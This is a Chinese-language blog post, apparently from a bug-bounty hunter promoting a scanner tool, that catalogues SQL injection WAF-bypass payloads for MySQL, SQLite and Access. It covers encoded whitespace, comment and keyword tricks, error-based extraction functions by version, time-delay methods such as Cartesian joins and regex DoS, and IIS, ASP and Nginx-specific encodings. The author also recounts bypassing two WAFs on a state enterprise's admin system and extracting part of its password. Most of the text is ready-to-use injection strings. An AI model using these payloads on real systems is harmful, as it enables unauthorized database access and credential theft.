最后一次更新:2025.8.1
基础
- 逻辑符
1 | and (&&) |
除外还有一些在实战过程中不常用的:
1 | not(!) |
运算符(加减乘除)
不要小看运算符,它能帮助你快速验证SQL注入是否存在
假设有参数id=1
id=2-1(True)与id=1-1000(False)(减号ban率低于除号)
id=2/1(True)与id=1/0(False)(这个False会产生除0报错,如果报错抛出则存在SQL报错注入)
同样的:如果id=2-1与id=3-2页面一致,存在SQL注入
当然你也可以拿它来判断闭合方式(不举例了/躺)
Z0Scan就用的这个检测方式~注释符
1 | # (MySQL特有,URL中需编码为%23) |
通用绕过方法:
- 强制URL编码
1 | 原:id=1000-ascii(1) |
- 特殊编码&特殊语法替换空格
字符 含义 说明 %09TAB键(水平) 水平制表符 %0a新建一行 换行符(LF, Line Feed) %0bTAB键(垂直) 垂直制表符 %0c新的一页 换页符(FF, Form Feed) %0d回车键 回车符(CR, Carriage Return) %a0空格 非断空格(Non-breaking Space) %00终止符 NULL 字符(字符串结束符) /**/注释符 多行注释 /*!*/注释符 + 检测版本的语法 MySQL 特有,用于条件执行(如 /*!50001 SELECT */)
特别注意:
%00会截断语句,有时候不可直接作为空格的替换字符,如果直接使用会造成sql语句报错
MySQL中有个特性,一般情况下/!/是用于检测mysql版本,也就是感叹号后面要加数据库版本号
如果高于这个版本,就执行后面的语句,如下面的语句表示数据库版本高5.00.09才会执行:/*!50009 select * from test*/
另外通常感叹号后面加的是数字,如果是其他字符将会报错。但有例外,如果加的是SQL关键字比如union、select、where等,那么也能正常执行
各种数据库中的空白字符:
| 数据库 | 空白字符(十六进制表示) |
|---|---|
| SQLite3 | 0A, 0D, 0C, 09, 20 |
| MySQL5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
- 使用括号替代空格(要求:包裹函数、包裹一段运算或子查询)
1 | 原:id=1000 and '123' like user() |
- 引号替代空格
1 | 原:id=1000 and '123' like '123' |
- 双引号替代单引号
1 | 原:id=1000 and '123' like '123' |
- 大小写混合
1 | 原:id=1000 and 1 like 1 |
MySQL
MySQL这个数据库只能说太好绕了,单是函数平替&语句变换就已经足以绕过绝大多数WAF了
- 函数平替绕过
1 | # 字符串长度 |
- 注释符变种绕过
1 | 原:id=1 and 1=1 -- + |
- 关键字绕过(利用MySQL特性)
1 | # 空格+关键字+空格 被拦截时 |
报错注入函数合集
函数名 示例用法 适用版本范围 geometrycollection()geometrycollection((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48 multipoint()multipoint((select * from(select user())b));5.1 ≤ version ≤ 5.5.48 polygon()select polygon((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48 multipolygon()multipolygon((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48 linestring()linestring((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48 multilinestring()multilinestring((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48 exp()exp(~(select * from(select user())a));5.1 ≤ version ≤ 5.5.48 ST_LatFromGeoHash()select ST_LatFromGeoHash(user());version ≥ 5.7 ST_LongFromGeoHash()select ST_LongFromGeoHash(user());version ≥ 5.7 GTID_SUBSET()select GTID_SUBSET(user(),1);version ≥ 5.7 GTID_SUBTRACT()select GTID_SUBTRACT(user(),1);version ≥ 5.7 ST_PointFromGeoHash()select ST_PointFromGeoHash(user(),1);version ≥ 5.7 procedure analyse()procedure analyse(extractvalue(1,concat(0x3a,user())),1);version ≤ 5.6.17 char()
这个函数挺有意思的,你可以看情况把它穿插在语句中~特殊延时
benchmark()
这个就不展开细说了笛卡尔积延时
当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;
1 | SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C; |
我当时就是借助笛卡尔积延时配合括号替代空格大法过双WAF通杀了某国企后台管理系统(可惜手贱交成事件了,发现是通杀的时候案例不够了/破防)
CNVD评级才中,后面不服,利用反引号特性把后台密码读了一点出来才给高…
- 正则dos延时
通过费时正则匹配操作消耗时间
1 | select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE concat(repeat('(a.*)+',30),'b'); |
- 使用16进制绕过引号
1 | 原:select column_name from information_schema.tables where table_name="users" |
- 逗号绕过
- 使用from关键字绕过
在substr()和mid()这两个函数中可以使用from to绕过对逗号的过滤:
1 | 原:select substr(database() from 1 for 1); |
- 使用join关键字绕过
1 | 原:union select 1,2 |
- 使用like关键字绕过
1 | 原:select ascii(mid(user(),1,1))=80 #等价于 |
- 使用offset关键字绕过
对于limit可以使用offset绕过
1 | 原:select * from news limit 0,1 |
SQLite
- 函数特性绕过
1 | # SQLite无concat(),用||连接字符串 |
- 关键字绕过
1 | # select被拦截时 |
- 运算绕过(SQLite支持数学函数)
1 | # 当+被拦截时,用add()函数 |
- 时间盲注
好像没什么大师傅知道SQLite能时间盲注的?
既然Edusrc允许时间盲注证明而且函数比较特殊,那就当绕过方式提一下
1 | randomblob(N) # 返回一个N字节长的包含伪随机字节的BLOG,可以用它制造延时 |
Access
这个数据库的绕过方式比较少,但因为函数名称特殊,依赖于正则规则的WAF通常不拦截它们。
分为一种无select注入与两种select注入形式
- 无select注入
1 | -asc(mid((dfirst("[username]","[Admin]")),6,1)) |
- 联合注入
1 | # 联合查询基础格式 |
- exists
1 | and exists(select admin from admin) |
特定环境绕过
- IIS服务器支持对于unicode的解析
1 | 原:id=1000-asc(1) |
- ASP+IIS环境特性
- 特性1(特殊符号%的处理)
1 | 原:id=1000-asc(1) |
- 特性2(注释绕过)
1 | 原:id=1000 |
- Nginx+PHP环境特性
1 | # 当空格被拦截时,用%09(制表符)替代 |
- URL编码绕过(部分服务器会二次解码)
1 | # 双重URL编码 |
- HTTP参数污染(部分服务器会拼接参数值)
1 | 原:id=1000 and 1=1 |
- 使用双关键字绕过(若删除掉第一个匹配的union就能绕过)
1 | id=-1' UNION SELECT 1,2,3 |
写在最后,SQL注入绕过其实并不难,我也是凭借SQL注入在一周时间里水了100多Rank
最后,希望各位大师傅多多推下我的项目吖~
Z0Scan: Security tools for web vulnerability detection and red teaming.
说些什么吧!